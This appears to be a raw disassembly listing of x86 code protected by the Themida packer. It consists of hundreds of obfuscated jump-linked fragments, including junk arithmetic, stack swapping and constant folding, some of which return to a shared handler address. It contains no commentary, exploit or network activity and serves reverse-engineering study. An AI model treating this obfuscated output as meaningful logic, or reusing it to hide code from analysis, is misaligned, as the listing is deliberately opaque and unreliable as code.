loc_569EFF: ; CODE XREF: sub_562ABA+2A5Bj
xchg ebx, ebp
add ebx, 0FFFFFFFFh
push ebp
sub esp, 4
mov [esp+5Eh+var_5E], ebx
pop ebp
pop ebx
not ebp
add ebp, 1
jmp loc_5720EC
; ---------------------------------------------------------------------------
loc_569F20: ; CODE XREF: sub_562ABA+E194j
pop ebp
jmp loc_5719FC
; ---------------------------------------------------------------------------
loc_569F26: ; CODE XREF: sub_562ABA+4A43j
mov esi, esp
add esi, 4
sub esi, 2
jmp loc_55ED22
; ---------------------------------------------------------------------------
loc_569F36: ; CODE XREF: sub_562ABA+179j
push 7314h
mov [esp+0], eax
mov eax, 503D7A0Ah
sub ecx, eax
pop eax
jmp loc_5637E2
; ---------------------------------------------------------------------------
loc_569F4B: ; CODE XREF: sub_562ABA+3B6Aj
pop ebx
push eax
mov eax, 4240690Bh
jmp loc_561BCD
; ---------------------------------------------------------------------------
loc_569F57: ; CODE XREF: sub_562ABA+99D8j
push ebp
push esp
pop ebp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+1Ah+var_1A]
pop esp
mov [esp+16h+var_16], ebp
push [esp+16h+var_12]
jmp loc_55FFA0
; ---------------------------------------------------------------------------
loc_569F73: ; CODE XREF: sub_562ABA-6D2j
pop ecx
push edi
jmp loc_56C9C0
; ---------------------------------------------------------------------------
loc_569F7A: ; CODE XREF: sub_562ABA-36A7j
mov ebp, 72437393h
xor ebp, 72437397h
jmp loc_56F1E7
; ---------------------------------------------------------------------------
loc_569F8A: ; CODE XREF: sub_562ABA+E592j
sub ah, 2Ch
xor bl, ah
pop eax
jmp loc_56C5DB
; ---------------------------------------------------------------------------
loc_569F95: ; CODE XREF: sub_562ABA+E6ABj
add edi, 4
sub edi, 4
xchg edi, [esp+22h+var_22]
pop esp
mov [esp+1Eh+var_1E], esi
push 462Ch
mov [esp+22h+var_22], ebx
mov esi, [esp+22h+var_22]
add esp, 4
mov eax, esi
mov esi, [esp+1Eh+var_1E]
push 0F6Eh
mov [esp+22h+var_22], esi
mov esi, esp
add esi, 4
push ebp
jmp loc_562AC2
; ---------------------------------------------------------------------------
loc_569FCE: ; CODE XREF: sub_562ABA+3C01j
mov [esp-6+arg_0+2], eax
jmp loc_56F6D6
; ---------------------------------------------------------------------------
loc_569FD6: ; CODE XREF: sub_562ABA+C027j
add esp, 4
sub edx, edi
sub edx, 5B2F0581h
pop edi
jmp loc_568B1E
; ---------------------------------------------------------------------------
loc_569FEA: ; CODE XREF: sub_55FCA5+3B6j
pop esp
sub esp, 4
mov [esp-0Eh+arg_8+2], ecx
push 5C4Bh
push 685Dh
mov [esp-6+arg_0+2], esp
add [esp-6+arg_0+2], 4
pop [esp-6+arg_0+2]
push ebp
mov ebp, 4
add [esp-6+arg_4+2], ebp
pop ebp
push [esp-0Ah+arg_4+2]
jmp loc_55FF71
; ---------------------------------------------------------------------------
loc_56A01E: ; CODE XREF: sub_562ABA+D79Ej
mov al, cl
pop ecx
jmp loc_56D250
; ---------------------------------------------------------------------------
loc_56A026: ; CODE XREF: sub_562ABA+736Fj
xor ecx, ebp
pop ebp
shl ecx, 5
push eax
mov eax, 24F1178Bh
add ecx, eax
push dword ptr [esp+0]
mov eax, [esp+12h+var_12]
add esp, 4
jmp loc_569800
; ---------------------------------------------------------------------------
loc_56A042: ; CODE XREF: sub_562ABA+FE21j
push 38AE0AA8h
pop eax
jmp loc_55F22C
; ---------------------------------------------------------------------------
loc_56A04D: ; CODE XREF: sub_562ABA+7EEFj
push ecx
mov ecx, edx
mov eax, ecx
pop ecx
jmp loc_5673FE
; ---------------------------------------------------------------------------
loc_56A058: ; CODE XREF: sub_562ABA+2878j
xor ecx, edx
mov edx, [esp+22h+var_22]
add esp, 4
push 4C8Fh
mov [esp+22h+var_22], eax
push ebx
push 6F8C250Ah
jmp loc_56522B
; ---------------------------------------------------------------------------
loc_56A073: ; CODE XREF: sub_562ABA+918Fj
sub ecx, 0FC780D4Dh
sub ebx, ecx
pop ecx
xchg ebx, [esp+26h+var_28+2]
jmp loc_56BE44
; ---------------------------------------------------------------------------
loc_56A084: ; CODE XREF: sub_562ABA+EA2Aj
pop ecx
add esp, 4
and eax, edi
push [esp+1Eh+var_1E]
jmp loc_560132
; ---------------------------------------------------------------------------
loc_56A095: ; CODE XREF: sub_562ABA+B90Cj
mov eax, 5A861F2Dh
or esi, eax
jmp loc_55F677
; ---------------------------------------------------------------------------
loc_56A0A1: ; CODE XREF: sub_562ABA-19DDj
pop ecx
xor esi, [esp+26h+var_28+2]
xor [esp+26h+var_28+2], esi
xor esi, [esp+26h+var_28+2]
pop esp
push 5A19h
jmp loc_56943A
; ---------------------------------------------------------------------------
loc_56A0B6: ; CODE XREF: Themida_:00562056j
push 5C30h
mov [esp+2Ah+var_2C+2], eax
sub esp, 4
mov [esp+0], esp
add dword ptr [esp+0], 4
mov eax, [esp+0]
add esp, 4
push esi
mov esi, 58281796h
sub esp, 4
mov [esp+32h+var_32], ebx
mov ebx, 58281792h
xor esi, ebx
pop ebx
sub eax, 6D3809E2h
sub eax, 211E69A7h
add eax, esi
add eax, 211E69A7h
push 1F34h
mov [esp+32h+var_32], esi
push eax
push edi
jmp loc_564B64
; ---------------------------------------------------------------------------
loc_56A108: ; CODE XREF: sub_562ABA+94EBj
shr ebp, 6
xor ebp, 994731h
push ecx
mov ecx, ebp
sub esp, 4
mov [esp+42h+var_42], ecx
push edx
mov edx, 576C5C41h
sub [esp+46h+var_42], edx
jmp loc_56E58F
; ---------------------------------------------------------------------------
loc_56A129: ; CODE XREF: sub_562ABA+85Aj
pop eax
jmp loc_569DD4
; ---------------------------------------------------------------------------
loc_56A12F: ; CODE XREF: sub_562ABA+16DCj
push dword ptr [esp+0]
pop ebp
jmp loc_570C7E
; ---------------------------------------------------------------------------
loc_56A138: ; CODE XREF: sub_562ABA+8501j
or bl, 22h
add bl, 27h
add bl, 7Ch
shr bl, 4
neg bl
push eax
mov al, 48h
or al, 0F1h
sub al, 10h
sub bl, al
pop eax
xor cl, bl
jmp loc_566753
; ---------------------------------------------------------------------------
loc_56A157: ; CODE XREF: sub_562ABA+C08Cj
pop ebx
add esp, 4
push edi
jmp loc_565FCF
; ---------------------------------------------------------------------------
loc_56A164: ; CODE XREF: sub_562ABA+4D54j
mov ecx, 737E3BF1h
mov edx, ecx
pop ecx
and ebx, edx
pop edx
sub ebx, 603629A0h
push 7A5h
mov [esp+26h+var_28+2], edi
mov edi, ebx
jmp loc_5657F5
; ---------------------------------------------------------------------------
loc_56A184: ; CODE XREF: sub_562ABA+1116j
mov ebp, 63E10D84h
sub edx, 7B65306Fh
jmp loc_56803C
; ---------------------------------------------------------------------------
loc_56A194: ; CODE XREF: sub_562ABA-F62j
push ecx
mov ecx, 57162A5Fh
sub ecx, 26D8CE88h
sub edi, ecx
jmp loc_570AB7
; ---------------------------------------------------------------------------
loc_56A1A7: ; CODE XREF: sub_562ABA+788Ej
sub al, 17h
sub al, ch
add al, 17h
push edx
mov dl, 3Ah
push bx
mov bh, 8Bh
sub dl, bh
pop bx
dec dl
sub esp, 4
mov [esp+1Ch+var_1E+2], ebx
mov bh, 68h
add dl, bh
mov ebx, [esp+1Ch+var_1E+2]
add esp, 4
sub al, 23h
jmp loc_570D0D
; ---------------------------------------------------------------------------
loc_56A1D4: ; CODE XREF: sub_562ABA+4381j
mov ebp, esp
push edx
mov edx, 52C17D85h
push 2979h
mov [esp+60h+var_62+2], eax
jmp loc_56DB5E
; ---------------------------------------------------------------------------
loc_56A1E9: ; CODE XREF: sub_562ABA+3467j
add edx, 693E2ABAh
jmp loc_571761
; ---------------------------------------------------------------------------
loc_56A1F4: ; CODE XREF: sub_562ABA+D305j
add ebx, 21FABB49h
sub esi, ebx
pop ebx
push dword ptr [esp+0]
mov edi, [esp+28h+var_28]
jmp loc_56E5F4
; ---------------------------------------------------------------------------
loc_56A208: ; CODE XREF: sub_562ABA+A13Bj
push ecx
mov ecx, 477C698Bh
jmp loc_5674A4
; ---------------------------------------------------------------------------
loc_56A213: ; CODE XREF: sub_562ABA+E28Dj
shl dl, 6
jmp loc_56D74F
; ---------------------------------------------------------------------------
loc_56A21B: ; CODE XREF: sub_562ABA+A024j
pop ecx
mov ch, dl
mov edx, [esp+28h+var_28]
add esp, 4
jmp loc_5716C1
; ---------------------------------------------------------------------------
loc_56A22C: ; CODE XREF: sub_562ABA+94BCj
add esi, edx
jmp loc_571BBF
; ---------------------------------------------------------------------------
loc_56A233: ; CODE XREF: sub_562ABA-35E3j
mov esi, 4
add eax, esi
pop esi
push ebx
jmp loc_5662CE
; ---------------------------------------------------------------------------
loc_56A241: ; CODE XREF: sub_55FCA5+36Bj
mov word ptr [esp+1Eh+var_1E], cx
movzx cx, al
push cx
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56A251: ; CODE XREF: sub_562ABA+C931j
pop dword ptr [esp+0]
jmp loc_572408
; ---------------------------------------------------------------------------
loc_56A259: ; CODE XREF: sub_562ABA+9295j
mov esp, [esp+20h+var_22+2]
push esp
jmp loc_561038
; ---------------------------------------------------------------------------
loc_56A262: ; CODE XREF: sub_572591+37j
push ebp
mov ebp, 3AAA14E4h
jmp loc_56C9F2
; ---------------------------------------------------------------------------
loc_56A26D: ; CODE XREF: sub_562ABA-1A4Bj
pop [esp+0Ah+var_C+2]
jmp loc_5690DA
; ---------------------------------------------------------------------------
loc_56A275: ; CODE XREF: sub_562ABA+640Cj
mov [esp+3Eh+var_3E], eax
jmp loc_55F9F7
; ---------------------------------------------------------------------------
loc_56A27D: ; CODE XREF: sub_562ABA+9D0Ej
mov ebx, 7AF124BFh
add eax, ebx
pop ebx
pop edx
push 1312h
jmp loc_56445D
; ---------------------------------------------------------------------------
loc_56A290: ; CODE XREF: sub_562ABA+1306j
push ebp
jmp loc_56879D
; ---------------------------------------------------------------------------
loc_56A296: ; CODE XREF: sub_562ABA+322Ej
add ecx, 537B3122h
add ecx, 9DEFC501h
sub edi, 2B27199h
jmp loc_570067
; ---------------------------------------------------------------------------
loc_56A2AD: ; CODE XREF: sub_562ABA+D890j
pop edi
add esi, 4
xchg esi, [esp+22h+var_22]
pop esp
jmp loc_56F852
; ---------------------------------------------------------------------------
loc_56A2BD: ; CODE XREF: sub_562ABA+40B2j
mov [esp+3Ah+var_3A], edi
mov edi, esp
add edi, 4
jmp loc_5671C0
; ---------------------------------------------------------------------------
loc_56A2CD: ; CODE XREF: sub_562ABA+45F5j
mov edx, eax
mov eax, [esp+3Eh+var_3E]
add esp, 4
push edi
mov edi, 9662BA8h
and edi, 755E61DEh
not edi
not edi
xchg ebp, edi
not ebp
push edi
jmp loc_56DB47
; ---------------------------------------------------------------------------
loc_56A2EF: ; CODE XREF: sub_562ABA+20CBj
mov eax, [esp+0]
jmp loc_56A3B4
; ---------------------------------------------------------------------------
loc_56A2F7: ; CODE XREF: sub_562ABA+9010j
mov esi, [esp+0]
add esp, 4
sub esp, 4
jmp loc_55E2AE
; ---------------------------------------------------------------------------
loc_56A308: ; CODE XREF: sub_562ABA-DC3j
pop ebx
push edi
mov edi, esp
jmp loc_56495F
; ---------------------------------------------------------------------------
loc_56A311: ; CODE XREF: sub_55E4D4+EF5j
push esi
mov esi, 4
sub eax, 7CB2296Ch
add eax, esi
jmp loc_56371F
; ---------------------------------------------------------------------------
loc_56A323: ; DATA XREF: Themida_:0055DDE8o
push 6DFEh
mov [esp+1Eh+var_1E], edx
push 6A54h
mov [esp+22h+var_22], edi
mov edi, 7B2A0FE3h
push ebx
mov ebx, 84D5F41Dh
jmp loc_56A509
; ---------------------------------------------------------------------------
loc_56A343: ; CODE XREF: sub_562ABA+7C49j
add esp, 4
add al, 16h
jmp loc_56A1A7
; ---------------------------------------------------------------------------
loc_56A34D: ; CODE XREF: sub_562ABA-40ACj
xor eax, [esp+16h+var_16]
xor [esp+16h+var_16], eax
xor eax, [esp+16h+var_16]
mov esp, [esp+16h+var_16]
mov [esp+16h+var_16], ebx
push ebp
push 2766h
mov [esp+1Eh+var_1E], edi
mov edi, 4E306108h
or edi, 5BA10280h
xor edi, 782C53DAh
mov ebp, edi
mov edi, [esp+1Eh+var_1E]
add esp, 4
jmp loc_563A8C
; ---------------------------------------------------------------------------
loc_56A383: ; CODE XREF: sub_55FCA5+21Dj
push ebp
mov ebp, 5B0574A1h
add eax, ebp
pop ebp
add eax, 52E1007Dh
sub eax, ebx
push ebp
mov ebp, 52E1007Dh
sub eax, ebp
mov ebp, [esp+1Eh+var_1E]
push edi
jmp loc_5605D8
; ---------------------------------------------------------------------------
loc_56A3A4: ; CODE XREF: sub_562ABA+A6BEj
mov ebx, 547360C3h
or ebx, 3625502Fh
jmp loc_563878
; ---------------------------------------------------------------------------
loc_56A3B4: ; CODE XREF: sub_562ABA+7838j
add esp, 4
jmp loc_56FE5B
; ---------------------------------------------------------------------------
loc_56A3BC: ; CODE XREF: Themida_:0055E671j
push edx
mov edx, 13D42A96h
add edx, 5E817E17h
and edx, 399119AEh
sub edx, 0FA1ADFCAh
jmp loc_56C3D6
; ---------------------------------------------------------------------------
loc_56A3D9: ; CODE XREF: sub_562ABA-42DBj
pop esi
jmp loc_57181C
; ---------------------------------------------------------------------------
loc_56A3DF: ; CODE XREF: sub_562ABA+1D4Ej
shl edi, 7
xor edi, 22BB276Ch
jmp loc_5674C7
; ---------------------------------------------------------------------------
loc_56A3ED: ; CODE XREF: sub_562ABA-4408j
sub ecx, 33C477EAh
jmp loc_571A49
; ---------------------------------------------------------------------------
loc_56A3F8: ; CODE XREF: sub_562ABA+6894j
sub ecx, 4
xchg ecx, [esp+0]
pop esp
jmp sub_56017F
; ---------------------------------------------------------------------------
loc_56A404: ; CODE XREF: sub_562ABA+6A8Fj
push eax
mov eax, 5B5F5F2Dh
jmp sub_560757
; ---------------------------------------------------------------------------
loc_56A40F: ; CODE XREF: sub_55E85D+1Cj
xchg esi, [esp+12h+var_12]
pop esp
or eax, eax
jnz loc_56CD3D
push 7C8Fh
mov [esp+12h+var_12], esi
push eax
jmp loc_562C26
; ---------------------------------------------------------------------------
loc_56A429: ; CODE XREF: sub_562ABA+25A1j
push 69Ah
mov [esp+26h+var_28+2], eax
jmp loc_567235
; ---------------------------------------------------------------------------
loc_56A436: ; CODE XREF: sub_562ABA+CD52j
push ebx
mov ebx, 1704731Bh
xchg edi, ebx
jmp loc_5627F4
; ---------------------------------------------------------------------------
loc_56A443: ; CODE XREF: sub_562ABA+A1A9j
xchg ebx, edx
push ebx
jmp loc_566A42
; ---------------------------------------------------------------------------
loc_56A44B: ; CODE XREF: sub_562ABA+EE82j
and ebp, 0C5B1FFFh
shr ebp, 5
neg ebp
add ebp, 988B9BF4h
sub eax, ebp
pop ebp
add ebx, eax
mov eax, [esp+2Ah+var_2C+2]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+0]
pop esp
push eax
mov eax, 74956054h
dec eax
jmp loc_563F00
; ---------------------------------------------------------------------------
loc_56A480: ; CODE XREF: sub_56017F+1291Dj
mov esi, [esp+0]
push edi
jmp loc_56850C
; ---------------------------------------------------------------------------
loc_56A489: ; CODE XREF: sub_562ABA+D6D2j
mov [esp+32h+var_32], edi
mov edi, 4
add eax, edi
pop edi
push eax
push dword ptr [esp+4]
jmp loc_56C189
; ---------------------------------------------------------------------------
loc_56A49E: ; CODE XREF: sub_562ABA+277Fj
pop edi
add ebx, 585F217h
push ebx
pop eax
pop ebx
xor ecx, eax
mov eax, [esp+0]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+32h+var_32]
pop esp
xor eax, ecx
push dword ptr [esp+0]
pop ecx
push ebx
mov ebx, esp
jmp loc_571ABD
; ---------------------------------------------------------------------------
loc_56A4CE: ; CODE XREF: Themida_:0055F08Cj
push esi
mov esi, esp
jmp loc_56B4E9
; ---------------------------------------------------------------------------
loc_56A4D6: ; CODE XREF: sub_562ABA-17A3j
mov ah, 31h
add ah, dl
pop edx
add bl, 3Fh
sub bl, ah
sub bl, 3Fh
jmp loc_56F125
; ---------------------------------------------------------------------------
loc_56A4E8: ; CODE XREF: sub_562ABA+5B58j
mov ebx, esp
push ebp
push esi
push 17117ADAh
pop esi
dec esi
or esi, 694F296Dh
jmp loc_55FA25
; ---------------------------------------------------------------------------
loc_56A4FE: ; CODE XREF: sub_562ABA-1B1Bj
add ebp, eax
pop eax
or edx, ebp
pop ebp
jmp loc_55F4DC
; ---------------------------------------------------------------------------
loc_56A509: ; CODE XREF: sub_562ABA+7884j
mov edx, ebx
jmp loc_56E7C5
; ---------------------------------------------------------------------------
loc_56A510: ; CODE XREF: sub_562ABA+9C2Ej
push [esp+26h+var_22]
jmp loc_55E991
; ---------------------------------------------------------------------------
loc_56A519: ; CODE XREF: sub_562ABA+CF1Aj
shr esi, 5
jmp loc_568727
; ---------------------------------------------------------------------------
loc_56A521: ; CODE XREF: sub_562ABA+7F73j
pop edi
add ebx, eax
jmp loc_570E8D
; ---------------------------------------------------------------------------
loc_56A529: ; CODE XREF: sub_562ABA+8ED9j
push edx
mov edx, 22153CE7h
jmp loc_561501
; ---------------------------------------------------------------------------
loc_56A534: ; CODE XREF: sub_562ABA+3B0Aj
add ebx, 33385907h
sub ebx, ebp
sub ebx, 33385907h
jmp loc_5652AB
; ---------------------------------------------------------------------------
loc_56A547: ; CODE XREF: sub_562ABA+FA2j
neg ecx
jmp loc_562B3C
; ---------------------------------------------------------------------------
loc_56A54E: ; CODE XREF: sub_562ABA+6524j
inc esi
and esi, 37CE515Ch
jmp loc_55E7D7
; ---------------------------------------------------------------------------
loc_56A55A: ; CODE XREF: sub_562ABA+D6BDj
xchg eax, [esp+16h+var_16]
pop esp
push ecx
mov ecx, 334576C8h
xchg ebp, ecx
push ebp
not [esp+1Ah+var_1A]
jmp loc_56E05F
; ---------------------------------------------------------------------------
loc_56A56F: ; CODE XREF: sub_562ABA+72AEj
push 7C9F72A4h
mov ebx, [esp+16h+var_16]
add esp, 4
dec ebx
push edx
mov edx, 34B51EC3h
sub ebx, edx
pop edx
push 4576h
mov [esp+16h+var_16], ebp
mov ebp, 42E30C6Eh
and ebx, ebp
jmp loc_561D2E
; ---------------------------------------------------------------------------
loc_56A598: ; CODE XREF: sub_562ABA+47FAj
or eax, 58372C7Fh
add eax, 9F94CB44h
xor ebp, eax
pop eax
sub ecx, 6AA05C46h
jmp loc_56AEB0
; ---------------------------------------------------------------------------
loc_56A5B0: ; CODE XREF: sub_562ABA+C42Fj
add esp, 4
shr ebx, 1
push edi
mov edi, 4D3E2A59h
sub edi, 45CC85F9h
sub ebx, edi
pop edi
mov edx, ebx
pop ebx
add ebp, edx
mov edx, [esp+0]
add esp, 4
xchg ebp, [esp+2Ah+var_2C+2]
pop esp
sub esp, 4
mov [esp+2Ah+var_2C+2], ecx
jmp loc_5654A8
; ---------------------------------------------------------------------------
loc_56A5E7: ; CODE XREF: sub_562ABA+D225j
push ebx
mov ebx, 371570BAh
xor edx, ebx
pop ebx
xor edx, ebx
xor ebx, edx
jmp loc_56CC60
; ---------------------------------------------------------------------------
loc_56A5F9: ; CODE XREF: sub_562ABA+1937j
shr ch, 1
sub ch, 0FFh
sub ch, 50h
jmp loc_565A93
; ---------------------------------------------------------------------------
loc_56A606: ; CODE XREF: sub_562ABA+98B3j
mov esp, [esp+1Eh+var_1E]
mov [esp+1Eh+var_1E], edx
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56A611: ; CODE XREF: sub_562ABA-13A7j
pop ebp
add esp, 4
push edi
mov edi, 0F092A4Ah
add ecx, edi
mov edi, [esp+26h+var_28+2]
add esp, 4
add ecx, eax
sub ecx, 0F092A4Ah
push edi
mov edi, 637E7FC5h
sub ecx, edi
pop edi
mov eax, [esp+22h+var_22]
add esp, 4
push 2565h
mov [esp+22h+var_22], edi
jmp loc_561822
; ---------------------------------------------------------------------------
loc_56A64A: ; CODE XREF: sub_562ABA+B597j
add ebp, ecx
jmp loc_56AA7D
; ---------------------------------------------------------------------------
loc_56A651: ; CODE XREF: sub_562ABA+A484j
push esp
jmp loc_569607
; ---------------------------------------------------------------------------
loc_56A657: ; DATA XREF: Themida_:0055DFC0o
push dword ptr [edx]
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56A65E: ; CODE XREF: sub_562ABA-13C8j
mov edi, [esp+26h+var_28+2]
add esp, 4
push ebx
push esi
mov esi, 27343C07h
mov ebx, esi
pop esi
jmp loc_567B1A
; ---------------------------------------------------------------------------
loc_56A673: ; CODE XREF: sub_562ABA-2E6Dj
push esp
push [esp+12h+var_12]
pop edi
push esi
sub esp, 4
mov [esp+1Ah+var_1A], esp
jmp loc_568BD5
; ---------------------------------------------------------------------------
loc_56A684: ; CODE XREF: sub_562ABA-3C8Cj
mov [esp+22h+var_22], esi
jmp loc_56B9E3
; ---------------------------------------------------------------------------
loc_56A68C: ; CODE XREF: sub_562ABA+1881j
mov esi, ebx
push 46E6h
mov [esp+48h+var_4A+2], esi
pop edx
mov esi, [esp+44h+var_46+2]
add esp, 4
jmp loc_568672
; ---------------------------------------------------------------------------
loc_56A6A2: ; CODE XREF: sub_562ABA-2750j
add edx, 2
xor edx, [esp-6+arg_0+2]
xor [esp-6+arg_0+2], edx
xor edx, [esp-6+arg_0+2]
jmp loc_569BAE
; ---------------------------------------------------------------------------
loc_56A6B6: ; CODE XREF: sub_562ABA-266Dj
mov edi, edx
jmp loc_5709D7
; ---------------------------------------------------------------------------
loc_56A6BD: ; CODE XREF: sub_562ABA+D335j
push edx
push eax
mov ah, ch
mov dl, ah
pop eax
mov bl, dl
jmp loc_55E2D2
; ---------------------------------------------------------------------------
loc_56A6CB: ; CODE XREF: sub_562ABA+86CBj
pop esp
sub bl, 82h
add bl, dl
jmp loc_567DC4
; ---------------------------------------------------------------------------
loc_56A6D6: ; CODE XREF: sub_562ABA+4007j
neg edi
not edi
add edi, 5579743Ch
xor edi, 311EB60Bh
sub esi, edi
jmp loc_55F1F5
; ---------------------------------------------------------------------------
loc_56A6ED: ; CODE XREF: sub_562ABA+C338j
add ebx, edi
mov edi, [esp+3Ch+var_3E+2]
add esp, 4
push small word ptr [eax]
jmp loc_56A97D
; ---------------------------------------------------------------------------
loc_56A700: ; CODE XREF: sub_562ABA+7306j
mov ebx, [esp+22h+var_22]
jmp loc_56A343
; ---------------------------------------------------------------------------
loc_56A708: ; CODE XREF: sub_562ABA+605Fj
push esi
push [esp-2+arg_0+2]
pop esi
pop dword ptr [esp+0]
pop esp
jmp loc_56E011
; ---------------------------------------------------------------------------
loc_56A717: ; CODE XREF: sub_562ABA+48CCj
add esp, 4
push ax
mov al, 0FDh
push cx
mov ch, 14h
push cx
mov ch, 3
sub bl, ch
pop cx
sub bl, ch
jmp loc_567025
; ---------------------------------------------------------------------------
loc_56A731: ; CODE XREF: sub_562ABA+B956j
xor eax, 43C35E4Dh
mov edx, eax
pop eax
inc edx
add edx, 0FFFFFFFFh
not edx
jmp loc_568B02
; ---------------------------------------------------------------------------
loc_56A747: ; CODE XREF: sub_562ABA-47DEj
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+0]
jmp loc_56CBA6
; ---------------------------------------------------------------------------
loc_56A75A: ; CODE XREF: sub_562ABA+B462j
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56A75F: ; CODE XREF: sub_55FCA5+1C2j
mov ecx, esp
add ecx, 4
add ecx, 2
xchg ecx, [esp+0]
pop esp
mov edx, [esp-6+arg_0+2]
sub esp, 4
mov [esp+0], eax
mov eax, esp
push ebp
jmp loc_5699F2
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl word ptr [esp+0], cl
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56A792: ; CODE XREF: sub_562ABA+BC60j
add edx, 89774250h
push edx
jmp loc_562A31
; ---------------------------------------------------------------------------
loc_56A79E: ; CODE XREF: sub_562ABA+B280j
inc cl
xchg ah, cl
xchg dl, ah
not dl
xchg dl, ah
xchg ah, cl
xor cl, 0FAh
not cl
sub cl, 69h
add al, cl
pop ecx
sub al, bh
sub al, 2
add al, 0B5h
jmp loc_56A948
; ---------------------------------------------------------------------------
loc_56A7C0: ; CODE XREF: sub_562ABA+EEE3j
mov [esp+4+var_4], eax
push dword ptr [esp+4]
jmp loc_565F75
; ---------------------------------------------------------------------------
loc_56A7CC: ; CODE XREF: sub_562ABA-249Ej
add ebx, edx
pop edx
add ebx, edi
sub ebx, 52804082h
sub ebx, 370032D6h
add ebx, 22C86319h
sub ebx, 67E05C46h
pop edi
jmp loc_56D4BD
; ---------------------------------------------------------------------------
loc_56A7EF: ; CODE XREF: sub_562ABA+8D05j
xchg eax, [esp+16h+var_16]
mov esp, [esp+16h+var_16]
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56A7FA: ; CODE XREF: sub_562ABA+F797j
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+1Ah+var_1A]
pop esp
xchg eax, ebp
not eax
xchg eax, ebp
add ebp, 0CC03864Dh
add eax, 116127C0h
add eax, ebp
sub eax, 116127C0h
jmp loc_57010C
; ---------------------------------------------------------------------------
loc_56A825: ; CODE XREF: sub_562ABA-30j
; sub_562ABA+4043j
push ebx
push eax
add [esp+2Ah+var_2C+2], 7B276505h
pop ebx
sub ebx, 7B276505h
push 236Dh
mov [esp+2Ah+var_2C+2], ebp
sub esp, 4
mov [esp+0], ebx
jmp loc_55EF5F
; ---------------------------------------------------------------------------
loc_56A848: ; CODE XREF: sub_562ABA+F911j
mov edi, 5B3E15B9h
jmp loc_55EF9B
; ---------------------------------------------------------------------------
loc_56A852: ; CODE XREF: sub_562ABA+9830j
add edi, 4
add edi, 4
push edi
jmp loc_5674B6
; ---------------------------------------------------------------------------
loc_56A861: ; CODE XREF: sub_562ABA+B781j
sub al, dl
add al, 0DDh
sub al, 97h
mov edx, [esp+32h+var_32]
add esp, 4
jmp loc_5696BA
; ---------------------------------------------------------------------------
loc_56A875: ; CODE XREF: sub_562ABA+5820j
pop eax
push ebx
mov ebx, esp
add ebx, 4
jmp loc_55E1B9
; ---------------------------------------------------------------------------
loc_56A884: ; CODE XREF: sub_562ABA+9CA0j
push dx
push esi
mov si, 5E6Bh
or si, 5581h
sub si, 99Ah
push ebp
push esi
mov si, 4F58h
sub si, 71EAh
add si, 22B9h
and si, 478Fh
shl si, 6
jmp loc_5601FC
; ---------------------------------------------------------------------------
loc_56A8B3: ; CODE XREF: sub_572C02+38j
sub edi, 0B3935E0h
add edi, 0F6324245h
add esi, edi
jmp loc_560425
; ---------------------------------------------------------------------------
loc_56A8C6: ; CODE XREF: sub_562ABA+E4E7j
pop edx
jmp loc_5695C7
; ---------------------------------------------------------------------------
loc_56A8CC: ; CODE XREF: sub_562ABA+D0Dj
add esp, 4
jmp loc_566297
; ---------------------------------------------------------------------------
loc_56A8D7: ; CODE XREF: sub_562ABA-441Bj
add ecx, 0CB097A9Dh
and eax, ecx
pop ecx
shr eax, 0Ah
xor eax, ecx
sub esp, 4
mov [esp+1Ah+var_1A], edx
push esp
jmp loc_569306
; ---------------------------------------------------------------------------
loc_56A8F1: ; CODE XREF: sub_562ABA+EE94j
pop esi
xchg edx, [esp+1Ah+var_1A]
jmp loc_56DDBA
; ---------------------------------------------------------------------------
loc_56A8FA: ; CODE XREF: sub_562ABA+904j
mov edi, esp
push eax
mov eax, 4
jmp loc_57094A
; ---------------------------------------------------------------------------
loc_56A907: ; CODE XREF: sub_562ABA+93A2j
add esi, edx
pop edx
and esi, 42266118h
not esi
push eax
mov eax, 47680318h
jmp loc_56AD24
; ---------------------------------------------------------------------------
loc_56A91D: ; CODE XREF: sub_562ABA-21BAj
push 6D4Fh
mov [esp+36h+var_36], edx
push esp
pop edx
add edx, 4
push 7FA2h
mov [esp+3Ah+var_3A], ebp
mov ebp, 4
jmp loc_55EDEA
; ---------------------------------------------------------------------------
loc_56A93F: ; CODE XREF: sub_562ABA+10078j
not ecx
not ecx
jmp loc_561ABB
; ---------------------------------------------------------------------------
loc_56A948: ; CODE XREF: sub_562ABA+7D01j
push ecx
mov cl, 94h
add al, cl
mov ecx, [esp+8+var_8]
jmp loc_571125
; ---------------------------------------------------------------------------
loc_56A955: ; CODE XREF: sub_562ABA+5132j
and ebx, 24CE3718h
jmp loc_56CE25
; ---------------------------------------------------------------------------
loc_56A960: ; CODE XREF: sub_562ABA+3322j
add esp, 4
sub bl, al
jmp loc_56FD7A
; ---------------------------------------------------------------------------
loc_56A96D: ; CODE XREF: sub_562ABA+C962j
mov esp, [esp+0]
jmp loc_55F062
; ---------------------------------------------------------------------------
loc_56A975: ; CODE XREF: sub_562ABA+8931j
mov [esp+0], ebp
jmp loc_569250
; ---------------------------------------------------------------------------
loc_56A97D: ; CODE XREF: sub_562ABA+7C41j
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56A982: ; CODE XREF: sub_562ABA+419Fj
add eax, 50D96411h
neg eax
not eax
inc eax
neg eax
add eax, 0D7F98103h
mov ebx, eax
jmp loc_567805
; ---------------------------------------------------------------------------
loc_56A99A: ; CODE XREF: sub_562ABA+4ABBj
pop ebp
push eax
jmp loc_560253
; ---------------------------------------------------------------------------
loc_56A9A1: ; CODE XREF: sub_562ABA+2B57j
pop esp
pop edx
sub edx, 30835413h
jmp loc_56A04D
; ---------------------------------------------------------------------------
loc_56A9AE: ; CODE XREF: sub_55F9E0+4j
mov bx, 7399h
xor word ptr [esp+6+var_4], bx
pop bx
pop di
xor di, 7399h
pop ebx
add word ptr [esp-2+arg_0], di
mov di, [esp+0]
add esp, 2
jmp loc_55E09F
; ---------------------------------------------------------------------------
